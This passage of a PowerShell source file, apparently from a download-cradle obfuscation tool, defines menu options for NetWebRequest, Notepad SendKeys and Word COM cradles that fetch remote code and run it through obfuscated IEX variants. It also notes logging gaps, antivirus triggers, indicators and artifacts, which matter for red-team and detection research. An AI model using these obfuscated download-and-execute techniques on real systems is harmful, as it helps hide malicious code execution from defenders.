$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '3' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '4' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '5' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '6' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '7' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '8' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '9' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_PsRestMethod_All = @()
$MenuLevel_Memory_PsRestMethod_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_NetWebRequest = @()
$MenuContext_Memory_NetWebRequest += , @('Name ','NetWebRequest')
$MenuContext_Memory_NetWebRequest += , @('Description ','.NET class that opens readable stream for downloaded data')
$MenuContext_Memory_NetWebRequest += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_NetWebRequest += , @('Dependencies ','N/A')
$MenuContext_Memory_NetWebRequest += , @('Footprint ',@('Entirely memory-based','No New-Object cmdlet module log entry (if Stream\3 is selected)'))
$MenuContext_Memory_NetWebRequest += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_NetWebRequest += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_NetWebRequest += , @('User-Agent ',@('None','UA generally trivial to change'))
$CradleType = 9
$MenuLevel_Memory_NetWebRequest = @()
$MenuLevel_Memory_NetWebRequest += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_NetWebRequest += , @($LineSpacing, 'Class ' , '<[Net.HttpWebRequest]>')
$MenuLevel_Memory_NetWebRequest += , @($LineSpacing, 'Stream ' , '<StreamReader>/<ReadByte>')
$MenuLevel_Memory_NetWebRequest += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_NetWebRequest += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_NetWebRequest_Rearrange = @()
$MenuLevel_Memory_NetWebRequest_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_NetWebRequest_Rearrange += , @($LineSpacing, '2' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_NetWebRequest_Class = @()
$MenuLevel_Memory_NetWebRequest_Class += , @($LineSpacing, '1' , "Default --> <[System.Net.HttpWebRequest]>" , @('Out-Cradle', $CradleType, 'NetHttpWebRequest', 1))
$MenuLevel_Memory_NetWebRequest_Class += , @($LineSpacing, '2' , "Shortened --> <[Net.HttpWebRequest]>" , @('Out-Cradle', $CradleType, 'NetHttpWebRequest', 2))
$MenuLevel_Memory_NetWebRequest_Stream = @()
$MenuLevel_Memory_NetWebRequest_Stream += , @($LineSpacing, '1' , "PS StreamReader --> New-Object <IO.StreamReader>" , @('Out-Cradle', $CradleType, 'Stream2', 1))
$MenuLevel_Memory_NetWebRequest_Stream += , @($LineSpacing, '2' , "PS StreamReader 2 --> One-Liner <IO.StreamReader>" , @('Out-Cradle', $CradleType, 'Stream2', 2))
$MenuLevel_Memory_NetWebRequest_Stream += , @($LineSpacing, '3' , "PS ReadByte --> While(1){`$res<.ReadByte()>}" , @('Out-Cradle', $CradleType, 'Stream2', 3))
$MenuLevel_Memory_NetWebRequest_Invoke = @()
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '1' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '2' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '3' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '4' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '5' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '6' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '7' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '8' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '9' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_NetWebRequest_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_NetWebRequest_All = @()
$MenuLevel_Memory_NetWebRequest_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsSendKeys = @()
$MenuContext_Memory_PsSendKeys += , @('Name ','PsSendKeys')
$MenuContext_Memory_PsSendKeys += , @('Description ',@('SendKeys class to use notepad.exe to download payload','Only-4-the-lulz/finicky/unsupported','A/V can flag on cached file(s) on disk and/or clipboard transfer','For timing adjustments modify $NotepadSendKeysSleep in Out-Cradle'))
$MenuContext_Memory_PsSendKeys += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_PsSendKeys += , @('Dependencies ','notepad.exe')
$MenuContext_Memory_PsSendKeys += , @('Footprint ','.LNK file and cached file(s) on disk')
$MenuContext_Memory_PsSendKeys += , @('Indicators ',@('notepad.exe and svchost.exe make network connections','notepad.exe loads C:\Windows\System32\winhttp.dll','notepad.exe loads C:\Windows\System32\wininet.dll','rundll32.exe command line arguments contain DavSetCookie with URI'))
$MenuContext_Memory_PsSendKeys += , @('Artifacts ',@('C:\Windows\Prefetch\NOTEPAD.EXE-********.pf','\AppData\Roaming\Microsoft\Windows\Recent\*.LNK file','\AppData\*\(Temporary Internet Files|INetCache)\*.txt'))
$MenuContext_Memory_PsSendKeys += , @('User-Agent ',@('Microsoft-WebDAV-MiniRedir/*','Mozilla/* (compatible; MSIE *; Windows NT *; Win64; x64; Trident/*; .NET* .NET CLR *'))
$MenuContext_Memory_PsSendKeys += , @('Note ',@('If running PS2.0 then you must define -STA/-ST for clipboard usage','If cradle fails then reset Notepad coordinates by executing:',"@('iWindowPosX','iWindowPosY') | ForEach-Object {Set-ItemProperty HKCU:\Software\Microsoft\Notepad `$_ 100}"))
$CradleType = 10
$MenuLevel_Memory_PsSendKeys = @()
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Cmdlet ' , '<New-Object>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Cmdlet2 ' , '<Start-Sleep>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Cmdlet3 ' , '<Get-ItemProperty>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Cmdlet4 ' , '<Set-ItemProperty>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Method ' , '<LoadWithPartialName>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Method2 ' , '<Exec>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Method3 ' , '<AppActivate>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Method4 ' , '<SendKeys>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Method5 ' , '<GetText>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Flag ' , '<-C[omObject]> (flag substring)')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Property ' , '<iWindowPosDX>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Property2' , '<iWindowPosDY>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Property3' , '<iWindowPosX>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Property4' , '<iWindowPosY>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Property5' , '<StatusBar>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Class ' , '[<Reflection.Assembly>]')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsSendKeys += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsSendKeys_Rearrange = @()
$MenuLevel_Memory_PsSendKeys_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsSendKeys_Rearrange += , @($LineSpacing, '2' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsSendKeys_Cmdlet = @()
$MenuLevel_Memory_PsSendKeys_Cmdlet += , @($LineSpacing, '1' , "PS New-Object --> <New-Object>" , @('Out-Cradle', $CradleType, 'NewObject', 1))
$MenuLevel_Memory_PsSendKeys_Cmdlet += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'NewObject', 2))
$MenuLevel_Memory_PsSendKeys_Cmdlet += , @($LineSpacing, '3' , "PS1.0 GetCmdlets --> <`$ExecutionContext...>" , @('Out-Cradle', $CradleType, 'NewObject', 3))
$MenuLevel_Memory_PsSendKeys_Cmdlet2 = @()
$MenuLevel_Memory_PsSendKeys_Cmdlet2 += , @($LineSpacing, '1' , "PS Start-Sleep --> <Start-Sleep -Milliseconds 500>" , @('Out-Cradle', $CradleType, 'SleepMilliseconds', 1))
$MenuLevel_Memory_PsSendKeys_Cmdlet2 += , @($LineSpacing, '2' , "PS Sleep --> <Sleep -Mi 500>" , @('Out-Cradle', $CradleType, 'SleepMilliseconds', 2))
$MenuLevel_Memory_PsSendKeys_Cmdlet2 += , @($LineSpacing, '3' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'SleepMilliseconds', 3))
$MenuLevel_Memory_PsSendKeys_Cmdlet2 += , @($LineSpacing, '4' , "PS1.0 GetCmdlets --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'SleepMilliseconds', 4))
$MenuLevel_Memory_PsSendKeys_Cmdlet3 = @()
$MenuLevel_Memory_PsSendKeys_Cmdlet3 += , @($LineSpacing, '1' , "PS Get-ItemProperty --> <Get-ItemProperty>/<GP>" , @('Out-Cradle', $CradleType, 'GetItemProperty', 1))
$MenuLevel_Memory_PsSendKeys_Cmdlet3 += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'GetItemProperty', 2))
$MenuLevel_Memory_PsSendKeys_Cmdlet3 += , @($LineSpacing, '3' , "PS1.0 GetCmdlets --> <`$ExecutionContext...>" , @('Out-Cradle', $CradleType, 'GetItemProperty', 3))
$MenuLevel_Memory_PsSendKeys_Cmdlet4 = @()
$MenuLevel_Memory_PsSendKeys_Cmdlet4 += , @($LineSpacing, '1' , "PS Set-ItemProperty --> <Set-ItemProperty>/<SP>" , @('Out-Cradle', $CradleType, 'SetItemProperty', 1))
$MenuLevel_Memory_PsSendKeys_Cmdlet4 += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'SetItemProperty', 2))
$MenuLevel_Memory_PsSendKeys_Cmdlet4 += , @($LineSpacing, '3' , "PS1.0 GetCmdlets --> <`$ExecutionContext...>" , @('Out-Cradle', $CradleType, 'SetItemProperty', 3))
$MenuLevel_Memory_PsSendKeys_Method = @()
$MenuLevel_Memory_PsSendKeys_Method += , @($LineSpacing, '1' , "PS LoadWithPartialName --> <LoadWithPartialName>" , @('Out-Cradle', $CradleType, 'LoadWithPartialName', 1))
$MenuLevel_Memory_PsSendKeys_Method += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'LoadWithPartialName', 2))
$MenuLevel_Memory_PsSendKeys_Method2 = @()
$MenuLevel_Memory_PsSendKeys_Method2 += , @($LineSpacing, '1' , "PS Exec --> <Exec>" , @('Out-Cradle', $CradleType, 'Exec', 1))
$MenuLevel_Memory_PsSendKeys_Method2 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Exec', 2))
$MenuLevel_Memory_PsSendKeys_Method3 = @()
$MenuLevel_Memory_PsSendKeys_Method3 += , @($LineSpacing, '1' , "PS AppActivate --> <AppActivate>" , @('Out-Cradle', $CradleType, 'AppActivate', 1))
$MenuLevel_Memory_PsSendKeys_Method3 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'AppActivate', 2))
$MenuLevel_Memory_PsSendKeys_Method4 = @()
$MenuLevel_Memory_PsSendKeys_Method4 += , @($LineSpacing, '1' , "PS SendKeys --> <SendKeys>" , @('Out-Cradle', $CradleType, 'SendKeys', 1))
$MenuLevel_Memory_PsSendKeys_Method4 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'SendKeys', 2))
$MenuLevel_Memory_PsSendKeys_Method5 = @()
$MenuLevel_Memory_PsSendKeys_Method5 += , @($LineSpacing, '1' , "PS GetText --> <GetText>" , @('Out-Cradle', $CradleType, 'GetText', 1))
$MenuLevel_Memory_PsSendKeys_Method5 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'GetText', 2))
$MenuLevel_Memory_PsSendKeys_Flag = @()
$MenuLevel_Memory_PsSendKeys_Flag += , @($LineSpacing, '1' , "Full Flag --> <-ComObject>" , @('Out-Cradle', $CradleType, 'ComObjectFlag', 1))
$MenuLevel_Memory_PsSendKeys_Flag += , @($LineSpacing, '2' , "Flag Substring --> <-C[omObject]>" , @('Out-Cradle', $CradleType, 'ComObjectFlag', 2))
$MenuLevel_Memory_PsSendKeys_Property = @()
$MenuLevel_Memory_PsSendKeys_Property += , @($LineSpacing, '1' , "iWindowPosDX --> <iWindowPosDX>" , @('Out-Cradle', $CradleType, 'iWindowPosDX', 1))
$MenuLevel_Memory_PsSendKeys_Property += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'iWindowPosDX', 2))
$MenuLevel_Memory_PsSendKeys_Property2 = @()
$MenuLevel_Memory_PsSendKeys_Property2 += , @($LineSpacing, '1' , "iWindowPosDY --> <iWindowPosDY>" , @('Out-Cradle', $CradleType, 'iWindowPosDY', 1))
$MenuLevel_Memory_PsSendKeys_Property2 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'iWindowPosDY', 2))
$MenuLevel_Memory_PsSendKeys_Property3 = @()
$MenuLevel_Memory_PsSendKeys_Property3 += , @($LineSpacing, '1' , "iWindowPosX --> <iWindowPosX>" , @('Out-Cradle', $CradleType, 'iWindowPosX', 1))
$MenuLevel_Memory_PsSendKeys_Property3 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'iWindowPosX', 2))
$MenuLevel_Memory_PsSendKeys_Property4 = @()
$MenuLevel_Memory_PsSendKeys_Property4 += , @($LineSpacing, '1' , "iWindowPosY --> <iWindowPosY>" , @('Out-Cradle', $CradleType, 'iWindowPosY', 1))
$MenuLevel_Memory_PsSendKeys_Property4 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'iWindowPosY', 2))
$MenuLevel_Memory_PsSendKeys_Property5 = @()
$MenuLevel_Memory_PsSendKeys_Property5 += , @($LineSpacing, '1' , "StatusBar --> <StatusBar>" , @('Out-Cradle', $CradleType, 'StatusBar', 1))
$MenuLevel_Memory_PsSendKeys_Property5 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'StatusBar', 2))
$MenuLevel_Memory_PsSendKeys_Class = @()
$MenuLevel_Memory_PsSendKeys_Class += , @($LineSpacing, '1' , "Default --> <[Void][System.Reflection>..." , @('Out-Cradle', $CradleType, 'ReflectionAssembly', 1))
$MenuLevel_Memory_PsSendKeys_Class += , @($LineSpacing, '2' , "Random --> (<[Void]/`$Null=>)<[Reflection>..." , @('Out-Cradle', $CradleType, 'ReflectionAssembly', 2))
$MenuLevel_Memory_PsSendKeys_Invoke = @()
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '1' , " No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '2' , " PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '3' , " PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '4' , " PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '5' , " PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '6' , " PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '7' , " ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '8' , " PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '9' , " Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_PsSendKeys_Invoke += , @($LineSpacing, '10' , " Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_PsSendKeys_All = @()
$MenuLevel_Memory_PsSendKeys_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsComWord = @()
$MenuContext_Memory_PsComWord += , @('Name ','PsComWord')
$MenuContext_Memory_PsComWord += , @('Description ','PowerShell leveraging Microsoft Word via COM Object interactions')
$MenuContext_Memory_PsComWord += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_PsComWord += , @('Dependencies ','WinWord.exe')
$MenuContext_Memory_PsComWord += , @('Footprint ','.URL file and cached file(s) on disk.')
$MenuContext_Memory_PsComWord += , @('Indicators ',@('svchost.exe spawns winword.exe','winword.exe makes network connection instead of powershell.exe','A/V can flag on cached file(s) on disk'))
$MenuContext_Memory_PsComWord += , @('Artifacts ',@('C:\Windows\Prefetch\WINWORD.EXE-********.pf','\AppData\Roaming\Microsoft\Windows\Recent\*.URL file','\AppData\*\(Temporary Internet Files|INetCache)\*.txt'))
$MenuContext_Memory_PsComWord += , @('User-Agent ',@('Microsoft Office Word *','Microsoft Office Existence Discovery','Mozilla/* (compatible; MSIE *; Windows NT *; Win64; x64; Trident/*; .NET* .NET CLR *; ms-office; MSOffice *'))
$CradleType = 11
$MenuLevel_Memory_PsComWord = @()
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Cmdlet ' , '<New-Object>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Cmdlet2 ' , '<Start-Sleep>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Method ' , '<Open>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Flag ' , '<-C[omObject]> (flag substring)')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Property ' , '<Visible>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Property2' , '<Busy>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Property3' , '<Documents>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Property4' , '<Content>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Property5' , '<Text>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Class ' , '<[Runtime.InteropServices.Marshal]>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Boolean ' , '<$False>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsComWord += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsComWord_Rearrange = @()
$MenuLevel_Memory_PsComWord_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsComWord_Rearrange += , @($LineSpacing, '2' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsComWord_Cmdlet = @()
$MenuLevel_Memory_PsComWord_Cmdlet += , @($LineSpacing, '1' , "PS New-Object --> <New-Object>" , @('Out-Cradle', $CradleType, 'NewObject', 1))
$MenuLevel_Memory_PsComWord_Cmdlet += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'NewObject', 2))
$MenuLevel_Memory_PsComWord_Cmdlet += , @($LineSpacing, '3' , "PS1.0 GetCmdlets --> <`$ExecutionContext...>" , @('Out-Cradle', $CradleType, 'NewObject', 3))
$MenuLevel_Memory_PsComWord_Cmdlet2 = @()
$MenuLevel_Memory_PsComWord_Cmdlet2 += , @($LineSpacing, '1' , "PS Start-Sleep --> <Start-Sleep -Seconds 1>" , @('Out-Cradle', $CradleType, 'Sleep', 1))
$MenuLevel_Memory_PsComWord_Cmdlet2 += , @($LineSpacing, '2' , "PS Sleep --> <Sleep -Se 1>" , @('Out-Cradle', $CradleType, 'Sleep', 2))
$MenuLevel_Memory_PsComWord_Cmdlet2 += , @($LineSpacing, '3' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Sleep', 3))
$MenuLevel_Memory_PsComWord_Cmdlet2 += , @($LineSpacing, '4' , "PS1.0 GetCmdlets --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Sleep', 4))
$MenuLevel_Memory_PsComWord_Method = @()
$MenuLevel_Memory_PsComWord_Method += , @($LineSpacing, '1' , "Open --> <Open>" , @('Out-Cradle', $CradleType, 'Open', 1))
$MenuLevel_Memory_PsComWord_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Properties>" , @('Out-Cradle', $CradleType, 'Open', 2))
$MenuLevel_Memory_PsComWord_Flag = @()
$MenuLevel_Memory_PsComWord_Flag += , @($LineSpacing, '1' , "Full Flag --> <-ComObject>" , @('Out-Cradle', $CradleType, 'ComObjectFlag', 1))
$MenuLevel_Memory_PsComWord_Flag += , @($LineSpacing, '2' , "Flag Substring --> <-C[omObject]>" , @('Out-Cradle', $CradleType, 'ComObjectFlag', 2))
$MenuLevel_Memory_PsComWord_Property = @()
$MenuLevel_Memory_PsComWord_Property += , @($LineSpacing, '1' , "Visible --> <Visible>" , @('Out-Cradle', $CradleType, 'Visible2', 1))
$MenuLevel_Memory_PsComWord_Property += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Visible2', 2))
$MenuLevel_Memory_PsComWord_Property2 = @()
$MenuLevel_Memory_PsComWord_Property2 += , @($LineSpacing, '1' , "Busy --> <Busy>" , @('Out-Cradle', $CradleType, 'Busy', 1))
$MenuLevel_Memory_PsComWord_Property2 += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Properties>" , @('Out-Cradle', $CradleType, 'Busy', 2))
$MenuLevel_Memory_PsComWord_Property2 += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Busy', 3))
$MenuLevel_Memory_PsComWord_Property3 = @()
$MenuLevel_Memory_PsComWord_Property3 += , @($LineSpacing, '1' , "Documents --> <Documents>" , @('Out-Cradle', $CradleType, 'Documents', 1))
$MenuLevel_Memory_PsComWord_Property3 += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Properties>" , @('Out-Cradle', $CradleType, 'Documents', 2))
$MenuLevel_Memory_PsComWord_Property3 += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Documents', 3))
$MenuLevel_Memory_PsComWord_Property4 = @()
$MenuLevel_Memory_PsComWord_Property4 += , @($LineSpacing, '1' , "Content --> <Content>" , @('Out-Cradle', $CradleType, 'Content', 1))
$MenuLevel_Memory_PsComWord_Property4 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Content', 2))
$MenuLevel_Memory_PsComWord_Property5 = @()
$MenuLevel_Memory_PsComWord_Property5 += , @($LineSpacing, '1' , "Text --> <Text>" , @('Out-Cradle', $CradleType, 'Text', 1))
$MenuLevel_Memory_PsComWord_Property5 += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Text', 2))
$MenuLevel_Memory_PsComWord_Class = @()
$MenuLevel_Memory_PsComWord_Class += , @($LineSpacing, '1' , "Default --> <[Void][System.Runtime>..." , @('Out-Cradle', $CradleType, 'RuntimeInteropServicesMarshal', 1))
$MenuLevel_Memory_PsComWord_Class += , @($LineSpacing, '2' , "Random --> (<[Void]/`$Null=>)<[Runtime>..." , @('Out-Cradle', $CradleType, 'RuntimeInteropServicesMarshal', 2))
$MenuLevel_Memory_PsComWord_Boolean = @()
$MenuLevel_Memory_PsComWord_Boolean += , @($LineSpacing, '1' , "Default --> <`$False>" , @('Out-Cradle', $CradleType, 'BooleanFalse', 1))
$MenuLevel_Memory_PsComWord_Boolean += , @($LineSpacing, '2' , "Integer --> <0>" , @('Out-Cradle', $CradleType, 'BooleanFalse', 2))
$MenuLevel_Memory_PsComWord_Boolean += , @($LineSpacing, '3' , "PS Get-Variable --> (<GV F*se>).Value" , @('Out-Cradle', $CradleType, 'BooleanFalse', 3))
$MenuLevel_Memory_PsComWord_Boolean2 = @()
$MenuLevel_Memory_PsComWord_Boolean2 += , @($LineSpacing, '1' , "Default --> <`$True>" , @('Out-Cradle', $CradleType, 'BooleanTrue', 1))
$MenuLevel_Memory_PsComWord_Boolean2 += , @($LineSpacing, '2' , "Integer --> <1>" , @('Out-Cradle', $CradleType, 'BooleanTrue', 2))
$MenuLevel_Memory_PsComWord_Boolean2 += , @($LineSpacing, '3' , "PS Get-Variable --> (<GV T*ue>).Value" , @('Out-Cradle', $CradleType, 'BooleanTrue', 3))
$MenuLevel_Memory_PsComWord_Invoke = @()
